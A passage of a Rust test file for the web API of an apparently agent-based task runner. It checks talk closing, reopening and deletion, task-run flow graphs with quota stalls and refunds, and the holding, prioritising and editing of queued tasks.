10240 r#"{{"text":"hi","attachments":["{}"]}}"#,
10241 "a".repeat(32)
10242 )),
10243 )
10244 .await;
10245 assert!((400..500).contains(&res.status), "{}", res.body);
10246 assert!(res.body.contains("unknown attachment"), "{}", res.body);
10247
10248 let on_disk = f.talks().get(&id).expect("get");
10249 assert!(
10250 on_disk.turns.is_empty(),
10251 "a rejected attachment id must not partially record the turn: {:?}",
10252 on_disk.turns
10253 );
10254 }
10255
10256 #[tokio::test]
10257 async fn talk_close_makes_the_talk_refuse_further_turns() {
10258 let f = Fixture::start().await;
10259 let id = seed_talk(&f, "20260904-014455-cd34", "open");
10260
10261 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
10262 assert_eq!(closed.status, 200, "{}", closed.body);
10263 assert_eq!(closed.json()["status"], "closed");
10264
10265 let closed_again = f.post(&format!("/api/talks/{id}/close"), None).await;
10267 assert_eq!(closed_again.status, 200);
10268 assert_eq!(closed_again.json()["status"], "closed");
10269
10270 let said = f
10271 .post(
10272 &format!("/api/talks/{id}/say"),
10273 Some(r#"{"text":"too late"}"#),
10274 )
10275 .await;
10276 assert_eq!(said.status, 409, "{}", said.body);
10277 }
10278
10279 #[tokio::test]
10280 async fn talk_reopen_lets_a_closed_talk_take_turns_again_and_is_idempotent() {
10281 let (_tmp, _repo, f) = talk_fixture().await;
10282 let id = f.post("/api/talks", None).await.json()["id"]
10283 .as_str()
10284 .expect("id")
10285 .to_owned();
10286 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
10287 assert_eq!(closed.status, 200, "{}", closed.body);
10288
10289 let reopened = f.post(&format!("/api/talks/{id}/reopen"), None).await;
10290 assert_eq!(reopened.status, 200, "{}", reopened.body);
10291 assert_eq!(reopened.json()["status"], "open");
10292
10293 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
10295 assert_eq!(reopened_again.status, 200);
10296 assert_eq!(reopened_again.json()["status"], "open");
10297
10298 let said = f
10299 .post(
10300 &format!("/api/talks/{id}/say"),
10301 Some(r#"{"text":"still there?"}"#),
10302 )
10303 .await;
10304 assert_eq!(
10305 said.status, 202,
10306 "a reopened talk accepts turns again: {}",
10307 said.body
10308 );
10309 }
10310
10311 #[tokio::test]
10312 async fn talk_reopen_on_an_unknown_id_is_404() {
10313 let f = Fixture::start().await;
10314 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
10315 assert_eq!(res.status, 404, "{}", res.body);
10316 }
10317
10318 #[tokio::test]
10319 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
10320 let f = Fixture::start().await;
10321 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
10322
10323 let deleted = f.delete(&format!("/api/talks/{id}")).await;
10324 assert_eq!(deleted.status, 204, "{}", deleted.body);
10325
10326 let after = f.get(&format!("/api/talks/{id}")).await;
10327 assert_eq!(after.status, 404, "{}", after.body);
10328
10329 let listed = f.get("/api/talks").await.json();
10330 assert!(
10331 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
10332 "a deleted talk must not linger in the list: {listed}"
10333 );
10334 }
10335
10336 #[tokio::test]
10337 async fn talk_delete_on_an_unknown_id_is_404() {
10338 let f = Fixture::start().await;
10339 let res = f.delete("/api/talks/nonexistent-id").await;
10340 assert_eq!(res.status, 404, "{}", res.body);
10341 }
10342
10343 #[tokio::test]
10347 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
10348 let f = Fixture::start().await;
10349 let (a, b, gone) = (
10350 "20260902-140501-aaaa",
10351 "20260902-140502-bbbb",
10352 "20260902-140503-cccc",
10353 );
10354 write_run(&f.runs(), a, RunStatus::Stalled);
10355 let mut review = RunState::new(
10356 PathBuf::from("/repo/magi"),
10357 "main".to_owned(),
10358 "0123456789abcdef".to_owned(),
10359 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
10360 .to_owned(),
10361 Config::default(),
10362 );
10363 review.id = b.to_owned();
10364 review.status = RunStatus::Merged;
10365 write_state(&f.runs(), &review);
10366
10367 let mut task = Task::new(
10368 "retry".to_owned(),
10369 "Do the thing".to_owned(),
10370 PathBuf::from("/repo/magi"),
10371 Source::Human,
10372 );
10373 task.start(a.to_owned());
10374 task.stall("quota");
10375 task.start(a.to_owned());
10376 task.start(b.to_owned());
10377 task.start(gone.to_owned());
10378 f.queue().put(&mut task).expect("file the task");
10379
10380 let res = f.get(&format!("/api/queue/{}", task.id)).await;
10381 assert_eq!(res.status, 200, "{}", res.body);
10382 let v = res.json();
10383 let h = v["history"].as_array().expect("history");
10384 assert_eq!(h.len(), 4, "{v}");
10385 assert_eq!(h[0]["kind"], "competition");
10386 assert_eq!(h[0]["status"], "stalled");
10387 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
10388 assert_eq!(h[1]["kind"], "resume", "{v}");
10389 assert!(
10390 h[0]["outcome"]
10391 .as_str()
10392 .unwrap()
10393 .contains("unknown. Pass #2"),
10394 "an earlier pass of a resumed run must not claim the final outcome: {v}"
10395 );
10396 assert!(
10397 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
10398 "{v}"
10399 );
10400 assert!(
10401 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
10402 "an unrecorded cause must not be narrated as an operator park: {v}"
10403 );
10404 assert_eq!(h[2]["kind"], "review");
10405 assert!(
10406 h[2]["description"]
10407 .as_str()
10408 .unwrap()
10409 .contains("magi/aaaa/A")
10410 );
10411 assert_eq!(h[2]["status"], "merged");
10412 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
10413 assert_eq!(v["runs_unreadable"], 1);
10414 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
10415 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
10416 assert_eq!(nodes[4]["note"], "unreadable");
10417 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
10418 assert_eq!(v["instruction"], "Do the thing");
10419 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
10420
10421 let run = f.get(&format!("/api/runs/{a}")).await.json();
10423 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
10424
10425 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
10426 }
10427
10428 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
10429 let mut s = RunState::new(
10430 PathBuf::from("/repo/magi"),
10431 "main".to_owned(),
10432 "0123456789abcdef".to_owned(),
10433 "Do it".to_owned(),
10434 Config::default(),
10435 );
10436 s.status = status;
10437 edit(&mut s);
10438 s
10439 }
10440
10441 fn flow_task(runs: &[&str]) -> Task {
10442 let mut t = Task::new(
10443 "t".to_owned(),
10444 "Do it".to_owned(),
10445 PathBuf::from("/repo/magi"),
10446 Source::Human,
10447 );
10448 for r in runs {
10449 t.start((*r).to_owned());
10450 }
10451 t
10452 }
10453
10454 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
10455 let h = task_history(task, |id| {
10456 states
10457 .iter()
10458 .find(|(i, _)| *i == id)
10459 .and_then(|(_, s)| s.clone())
10460 });
10461 task_flow(task, &h, 5, None)
10462 }
10463
10464 fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
10465 crate::queue::FollowUp {
10466 run: "20260901-000000-aaaa".to_owned(),
10467 origin_task: origin_task.map(str::to_owned),
10468 pr: "https://example.com/o/r/pull/1".to_owned(),
10469 findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
10470 .map(str::to_owned)
10471 .to_vec(),
10472 generation: 1,
10473 }
10474 }
10475
10476 fn parent_task() -> Task {
10477 let mut p = flow_task(&[]);
10478 p.title = "Parent title".to_owned();
10479 p.status = TaskStatus::Done;
10480 p
10481 }
10482
10483 #[test]
10484 fn flow_opens_with_the_parent_task_of_a_followup() {
10485 let p = parent_task();
10486 let pid = p.id.clone();
10487 let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
10488 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
10489 let n = &f.nodes[0];
10490 assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
10491 assert_eq!(
10492 n.label,
10493 format!("Follow-up of {}", crate::queue::short(&pid))
10494 );
10495 assert_eq!(n.detail.as_deref(), Some("Parent title"));
10496 assert_eq!(n.status, Some("done"));
10497 assert_eq!(n.status_of, "task");
10498 assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
10499 assert_eq!(f.nodes[1].key, "start");
10500 assert_eq!(f.edges[0].from, "origin");
10501 assert_eq!(
10502 f.edges[0].label,
10503 "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
10504 );
10505 }
10506
10507 #[test]
10508 fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
10509 let o = followup_origin(
10510 &fu(Some("gone")),
10511 |_| None,
10512 |_| {
10513 Some(RunState::new(
10514 std::path::PathBuf::from("."),
10515 "main".to_owned(),
10516 "0".to_owned(),
10517 "t".to_owned(),
10518 crate::config::Config::default(),
10519 ))
10520 },
10521 );
10522 assert!(o.parent.is_none());
10523 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
10524 let n = &f.nodes[0];
10525 assert_eq!(n.status_of, "run");
10526 assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
10527 assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
10528 }
10529
10530 #[test]
10531 fn flow_followup_with_nothing_readable_has_no_link() {
10532 let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
10533 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
10534 let n = &f.nodes[0];
10535 assert_eq!(n.href, None);
10536 assert_eq!(n.note, Some("unreadable"));
10537 assert!(!n.readable);
10538 }
10539
10540 #[test]
10541 fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
10542 let o = followup_origin(&fu(None), |_| None, |_| None);
10543 let mut t = flow_task(&[]);
10544 t.origin_chat = Some("c1".to_owned());
10545 let f = task_flow(&t, &[], 5, Some(&o));
10546 assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
10547 t.source = Source::Agent {
10548 run: "c1".to_owned(),
10549 node: crate::queue::CHAT_NODE.to_owned(),
10550 };
10551 let f = task_flow(&t, &[], 5, Some(&o));
10552 assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
10553 assert_eq!(
10554 (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
10555 ("chat", "origin")
10556 );
10557 }
10558
10559 #[test]
10560 fn followup_origin_encodes_ids_and_survives_a_self_reference() {
10561 let mut p = parent_task();
10562 p.id = "a b/c".to_owned();
10563 let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
10564 assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
10565 }
10566
10567 #[test]
10568 fn flow_opens_with_the_chat_that_queued_the_task() {
10569 let mut t = flow_task(&[]);
10570 t.source = Source::Agent {
10571 run: "a b/c".to_owned(),
10572 node: crate::queue::CHAT_NODE.to_owned(),
10573 };
10574 let f = flow_for(&t, &[]);
10575 assert_eq!(f.nodes[0].key, "chat");
10576 assert_eq!(f.nodes[0].kind, "chat");
10577 assert_eq!(
10578 f.nodes[0].label,
10579 format!("Chat {}", crate::queue::short("a b/c"))
10580 );
10581 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
10582 assert_eq!(f.nodes[1].key, "start");
10583 assert_eq!(
10584 f.edges[0],
10585 FlowEdge {
10586 from: "chat".to_owned(),
10587 to: "start".to_owned(),
10588 label: "queued from chat".to_owned(),
10589 attempt: AttemptCost::None,
10590 }
10591 );
10592 }
10593
10594 #[test]
10595 fn flow_has_no_chat_box_for_other_sources() {
10596 for source in [
10597 Source::Human,
10598 Source::Issue {
10599 number: 3,
10600 repo: "o/r".to_owned(),
10601 },
10602 Source::Agent {
10603 run: "20260904-014455-ab12".to_owned(),
10604 node: "implement".to_owned(),
10605 },
10606 ] {
10607 let mut t = flow_task(&[]);
10608 t.source = source;
10609 let f = flow_for(&t, &[]);
10610 assert_eq!(f.nodes[0].key, "start");
10611 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
10612 assert!(f.edges.iter().all(|e| e.from != "chat"));
10613 }
10614 }
10615
10616 const FA: &str = "20260902-140501-aaaa";
10617 const FB: &str = "20260902-140502-bbbb";
10618
10619 #[test]
10620 fn flow_follows_blocked_retry_merged_to_done() {
10621 let mut t = flow_task(&[FA, FB]);
10622 t.status = TaskStatus::Done;
10623 let f = flow_for(
10624 &t,
10625 &[
10626 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
10627 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
10628 ],
10629 );
10630 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
10631 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
10632 assert_eq!(f.edges.len(), 3);
10633 assert_eq!(f.edges[0].label, "claimed");
10634 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
10635 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
10636 assert_eq!(f.edges[2].label, "merged \u{2192} done");
10637 assert_eq!(
10638 f.nodes[2].href.as_deref(),
10639 Some("#/runs/20260902-140502-bbbb")
10640 );
10641 assert!(f.nodes[2].decided);
10642 }
10643
10644 #[test]
10645 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
10646 let quota = || {
10647 flow_run(RunStatus::Stalled, |s| {
10648 s.quota.push(crate::run::QuotaLoss {
10649 seat: "judge-1".to_owned(),
10650 node: "judge".to_owned(),
10651 at: Timestamp::now(),
10652 reset: None,
10653 })
10654 })
10655 };
10656 let mut t = flow_task(&[FA, FA]);
10657 t.status = TaskStatus::Queued;
10658 let f = flow_for(&t, &[(FA, Some(quota()))]);
10659 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
10660 assert_eq!(f.nodes[1].note, Some("interrupted"));
10661 assert_eq!(
10662 f.nodes[1].status, None,
10663 "no outcome copied onto an earlier pass"
10664 );
10665 assert_eq!(
10666 f.edges[1].attempt,
10667 AttemptCost::Unknown,
10668 "a resume does not prove the earlier pass was refunded"
10669 );
10670 assert!(f.edges[1].label.contains("resume the same run"));
10671 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
10672 assert_eq!(
10673 f.edges[2].label,
10674 "stalled after a resume, refund unknown \u{2192} queued"
10675 );
10676 assert!(!f.nodes[2].decided, "a stall is not a decision");
10677 assert_eq!(f.nodes[2].note, Some("no verdict"));
10678 }
10679
10680 #[test]
10681 fn flow_single_pass_quota_stall_is_refunded() {
10682 let t = flow_task(&[FA]);
10683 let f = flow_for(
10684 &t,
10685 &[(
10686 FA,
10687 Some(flow_run(RunStatus::Stalled, |s| {
10688 s.quota.push(crate::run::QuotaLoss {
10689 seat: "judge-1".to_owned(),
10690 node: "judge".to_owned(),
10691 at: Timestamp::now(),
10692 reset: None,
10693 })
10694 })),
10695 )],
10696 );
10697 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
10698 }
10699
10700 #[test]
10701 fn flow_parked_refunds_and_stall_without_quota_spends() {
10702 let mut t = flow_task(&[FA]);
10703 t.status = TaskStatus::Queued;
10704 let f = flow_for(
10705 &t,
10706 &[(
10707 FA,
10708 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
10709 )],
10710 );
10711 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
10712 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
10713 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
10714 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
10715 assert!(!f.nodes[1].decided);
10716 }
10717
10718 #[test]
10719 fn flow_keeps_an_unreadable_run_as_its_own_node() {
10720 let t = flow_task(&[FA, FB]);
10721 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
10722 assert_eq!(f.nodes[1].note, Some("unreadable"));
10723 assert!(!f.nodes[1].readable);
10724 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
10725 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
10726 }
10727
10728 #[test]
10729 fn flow_names_the_branch_of_a_review_only_run() {
10730 let t = flow_task(&[FA]);
10731 let f = flow_for(
10732 &t,
10733 &[(
10734 FA,
10735 Some(flow_run(RunStatus::Merged, |s| {
10736 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
10737 })),
10738 )],
10739 );
10740 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
10741 assert_eq!(
10742 f.nodes[1].detail.as_deref(),
10743 Some("review-only run of branch magi/x/A")
10744 );
10745 }
10746
10747 #[test]
10748 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
10749 let mut t = flow_task(&[FA]);
10750 t.status = TaskStatus::Held;
10751 let pr = crate::run::PrRecord {
10752 url: "https://example.test/pr/1".to_owned(),
10753 number: 1,
10754 state: "open".to_owned(),
10755 checks: "green".to_owned(),
10756 round: 0,
10757 rounds: 3,
10758 red_at_merge: Vec::new(),
10759 };
10760 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
10761 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
10762 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
10763 t.status = TaskStatus::Done;
10764 let f = flow_for(&t, &[(FA, Some(blocked))]);
10765 assert_eq!(f.edges[1].label, "closed by hand: task is done");
10766 }
10767
10768 #[test]
10769 fn flow_with_no_runs_goes_from_queued_to_queued() {
10770 let t = flow_task(&[]);
10771 let f = flow_for(&t, &[]);
10772 assert_eq!(f.nodes.len(), 2);
10773 assert_eq!(f.edges.len(), 1);
10774 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
10775 assert_eq!(f.edges[0].attempt, AttemptCost::None);
10776 }
10777
10778 #[test]
10781 fn a_parked_non_terminal_run_is_explained_as_parked() {
10782 let mut s = RunState::new(
10783 PathBuf::from("/repo/magi"),
10784 "main".to_owned(),
10785 "0123456789abcdef".to_owned(),
10786 "Do it".to_owned(),
10787 Config::default(),
10788 );
10789 s.status = RunStatus::Implementing;
10790 s.parked = true;
10791 let task = Task::new(
10792 "t".to_owned(),
10793 "Do it".to_owned(),
10794 PathBuf::from("/repo/magi"),
10795 Source::Human,
10796 );
10797 let v = task_run_view(
10798 "20260902-140501-aaaa",
10799 Some(&s),
10800 RunSlot {
10801 n: 1,
10802 resumed: false,
10803 resumed_later: None,
10804 prior: None,
10805 last: true,
10806 },
10807 &task,
10808 );
10809 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
10810 }
10811
10812 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
10813 let mut s = flow_run(RunStatus::Implementing, edit);
10814 s.parked = false;
10815 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
10816 task_run_view(
10817 "20260902-140501-aaaa",
10818 Some(&s),
10819 RunSlot {
10820 n: 1,
10821 resumed: false,
10822 resumed_later: Some(2),
10823 prior: None,
10824 last: false,
10825 },
10826 &task,
10827 )
10828 }
10829
10830 #[test]
10831 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
10832 let v = earlier_pass_view(|_| {});
10833 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
10834 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
10835 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
10836 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
10837 assert_eq!(v.exit, RunExit::Interrupted);
10838 assert_eq!(v.attempt, AttemptCost::Unknown);
10839 }
10840
10841 #[test]
10842 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
10843 let v = earlier_pass_view(|s| {
10844 s.quota.push(crate::run::QuotaLoss {
10845 seat: "judge-1".to_owned(),
10846 node: "judge".to_owned(),
10847 at: Timestamp::now(),
10848 reset: None,
10849 });
10850 });
10851 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
10852 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
10853 assert_eq!(v.attempt, AttemptCost::Unknown);
10854 }
10855
10856 #[test]
10857 fn the_current_pass_states_its_recorded_cause_and_cost() {
10858 let slot = || RunSlot {
10859 n: 1,
10860 resumed: false,
10861 resumed_later: None,
10862 prior: None,
10863 last: true,
10864 };
10865 let task = flow_task(&["20260902-140501-aaaa"]);
10866 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
10867 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
10868 assert_eq!(
10869 (v.exit, v.attempt),
10870 (RunExit::Parked, AttemptCost::Refunded)
10871 );
10872 let spent = flow_run(RunStatus::Blocked, |_| {});
10873 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
10874 assert_eq!(v.attempt, AttemptCost::Spent);
10875 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
10876 }
10877
10878 #[tokio::test]
10879 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
10880 let f = Fixture::start().await;
10881 let queue = f.queue();
10882 let mut task = Task::new(
10883 "spent".to_owned(),
10884 "Try again".to_owned(),
10885 PathBuf::from("/repo/magi"),
10886 Source::Human,
10887 );
10888 task.start("20260902-140502-bbbb".to_owned());
10889 task.fail("agent gave up", 9);
10890 queue.put(&mut task).expect("file the task");
10891
10892 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
10893 assert_eq!(held.status, 200);
10894 assert_eq!(held.json()["status_str"], "held");
10895
10896 let released = f
10897 .post(&format!("/api/queue/{}/release", task.id), None)
10898 .await;
10899 assert_eq!(released.status, 200);
10900 assert_eq!(released.json()["status_str"], "queued");
10901 assert_eq!(
10902 released.json()["attempts"],
10903 0,
10904 "release is a real second chance, not an instant re-hold"
10905 );
10906 assert_eq!(
10907 queue.get(&task.id).expect("reload").status,
10908 TaskStatus::Queued,
10909 "the change is on disk, not only in the reply"
10910 );
10911 assert!(
10912 !f.home
10913 .path()
10914 .join("queue")
10915 .join(format!("{}.lock", task.id))
10916 .exists(),
10917 "the claim the mutation took is released again"
10918 );
10919 }
10920
10921 #[tokio::test]
10922 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
10923 let f = Fixture::start().await;
10924 let queue = f.queue();
10925 let mut task = Task::new(
10926 "busy".to_owned(),
10927 "Running right now".to_owned(),
10928 PathBuf::from("/repo/magi"),
10929 Source::Human,
10930 );
10931 queue.put(&mut task).expect("file the task");
10932 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
10933
10934 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
10935
10936 assert_eq!(res.status, 409);
10937 assert_eq!(
10938 queue.get(&task.id).expect("reload").status,
10939 TaskStatus::Queued,
10940 "the refused hold changed nothing"
10941 );
10942 }
10943
10944 #[tokio::test]
10945 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
10946 let f = Fixture::start().await;
10947 let queue = f.queue();
10948 let mut task = Task::new(
10949 "waiting on the migration".to_owned(),
10950 "Do the thing".to_owned(),
10951 PathBuf::from("/repo/magi"),
10952 Source::Human,
10953 );
10954 queue.put(&mut task).expect("file the task");
10955
10956 let held = f
10957 .post(
10958 &format!("/api/queue/{}/hold", task.id),
10959 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
10960 )
10961 .await;
10962 assert_eq!(held.status, 200, "{}", held.body);
10963 assert_eq!(held.json()["status_str"], "held");
10964 assert_eq!(
10965 held.json()["hold_reason"],
10966 "waiting for 20260101-000000-aaaa to land"
10967 );
10968
10969 let listed = f.get("/api/queue").await.json();
10970 assert_eq!(
10971 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
10972 "the card reads the reason off the same list route"
10973 );
10974
10975 let mut plain = Task::new(
10978 "no reason given".to_owned(),
10979 "Do another thing".to_owned(),
10980 PathBuf::from("/repo/magi"),
10981 Source::Human,
10982 );
10983 queue.put(&mut plain).expect("file the task");
10984 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
10985 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
10986 assert!(held_plain.json()["hold_reason"].is_null());
10987
10988 let released = f
10989 .post(&format!("/api/queue/{}/release", task.id), None)
10990 .await;
10991 assert_eq!(released.status, 200);
10992 assert!(
10993 released.json()["hold_reason"].is_null(),
10994 "a release must clear the reason so the next hold does not inherit it"
10995 );
10996 }
10997
10998 #[tokio::test]
10999 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
11000 let f = Fixture::start().await;
11001 let queue = f.queue();
11002 let mut older = Task::new(
11003 "filed first".to_owned(),
11004 "x".to_owned(),
11005 PathBuf::from("/repo/magi"),
11006 Source::Human,
11007 );
11008 older.id = "20260101-000001-aaaa".to_owned();
11009 let mut newer = Task::new(
11010 "filed second".to_owned(),
11011 "x".to_owned(),
11012 PathBuf::from("/repo/magi"),
11013 Source::Human,
11014 );
11015 newer.id = "20260101-000002-bbbb".to_owned();
11016 queue.put(&mut older).expect("file older");
11017 queue.put(&mut newer).expect("file newer");
11018
11019 let before = f.get("/api/queue").await.json();
11022 assert_eq!(before[0]["id"], newer.id);
11023 assert_eq!(before[1]["id"], older.id);
11024
11025 let raised = f
11029 .post(
11030 &format!("/api/queue/{}/priority", older.id),
11031 Some(r#"{"priority":10}"#),
11032 )
11033 .await;
11034 assert_eq!(raised.status, 200, "{}", raised.body);
11035 assert_eq!(raised.json()["priority"], 10);
11036
11037 let after = f.get("/api/queue").await.json();
11038 let names: Vec<&str> = after
11039 .as_array()
11040 .unwrap()
11041 .iter()
11042 .map(|t| t["id"].as_str().unwrap())
11043 .collect();
11044 assert_eq!(names[0], older.id, "the raised task now sorts first");
11048 }
11049
11050 #[tokio::test]
11051 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
11052 let f = Fixture::start().await;
11053 let queue = f.queue();
11054 let mut task = Task::new(
11055 "in flight".to_owned(),
11056 "x".to_owned(),
11057 PathBuf::from("/repo/magi"),
11058 Source::Human,
11059 );
11060 task.start("20260902-140502-bbbb".to_owned());
11061 queue.put(&mut task).expect("file the task");
11062
11063 let res = f
11064 .post(
11065 &format!("/api/queue/{}/priority", task.id),
11066 Some(r#"{"priority":9}"#),
11067 )
11068 .await;
11069 assert_eq!(res.status, 400, "{}", res.body);
11070 assert!(
11071 res.json()["error"]
11072 .as_str()
11073 .is_some_and(|e| e.contains("running")),
11074 "{}",
11075 res.body
11076 );
11077 assert_eq!(
11078 queue.get(&task.id).expect("reload").priority,
11079 0,
11080 "the refused write must not partially apply"
11081 );
11082 }
11083
11084 #[tokio::test]
11085 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
11086 let f = Fixture::start().await;
11087 let queue = f.queue();
11088 let mut task = Task::new(
11089 "old title".to_owned(),
11090 "old instruction".to_owned(),
11091 PathBuf::from("/repo/magi"),
11092 Source::Agent {
11093 run: "20260101-000000-beef".to_owned(),
11094 node: "implement".to_owned(),
11095 },
11096 );
11097 task.runs.push("20260101-000000-beef".to_owned());
11098 queue.put(&mut task).expect("file the task");
11099 let created_at = task.created_at;
11100
11101 let edited = f
11102 .post(
11103 &format!("/api/queue/{}/edit", task.id),
11104 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
11105 )
11106 .await;
11107 assert_eq!(edited.status, 200, "{}", edited.body);
11108 let body = edited.json();
11109 assert_eq!(body["title"], "new title");
11110 assert_eq!(body["instruction"], "new instruction");
11111 assert_eq!(body["id"], task.id, "editing must not mint a new id");
11112 assert_eq!(body["created_at"], created_at.to_string());
11113 assert_eq!(
11114 body["source"]["kind"], "agent",
11115 "editing a task an agent filed must not turn it human: {body}"
11116 );
11117 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
11118
11119 let reloaded = queue.get(&task.id).expect("reload");
11120 assert_eq!(reloaded.title, "new title");
11121 assert_eq!(reloaded.instruction, "new instruction");
11122 }
11123
11124 #[tokio::test]
11125 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
11126 let tmp = TempDir::new().expect("tempdir");
11129 let repo = tmp.path().join("repo");
11130 std::fs::create_dir_all(&repo).expect("repo dir");
11131 let judge = MOCK_AGENT_TOML.replace(
11132 "printf ok",
11133 r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
11134 );
11135 std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
11136 let f = Fixture::with_repo(repo.clone()).await;
11137 let queue = f.queue();
11138 let mut owner = Task::new(
11139 "owner".to_owned(),
11140 "review it".to_owned(),
11141 repo.clone(),
11142 Source::Human,
11143 );
11144 owner.review_branch = Some("magi/ab12/A".to_owned());
11145 queue.put(&mut owner).expect("file the owner");
11146 let mut task = Task::new(
11147 "draft".to_owned(),
11148 "old".to_owned(),
11149 repo.clone(),
11150 Source::Human,
11151 );
11152 queue.put(&mut task).expect("file the draft");
11153 let url = format!("/api/queue/{}/edit", task.id);
11154
11155 let refused = f
11156 .post(
11157 &url,
11158 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
11159 )
11160 .await;
11161 assert_eq!(refused.status, 409, "{}", refused.body);
11162 let msg = refused.json()["error"]
11163 .as_str()
11164 .unwrap_or_default()
11165 .to_owned();
11166 assert!(
11167 msg.contains("magi/ab12/A") && msg.contains("force"),
11168 "{msg}"
11169 );
11170 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
11171
11172 let forced = f
11173 .post(
11174 &url,
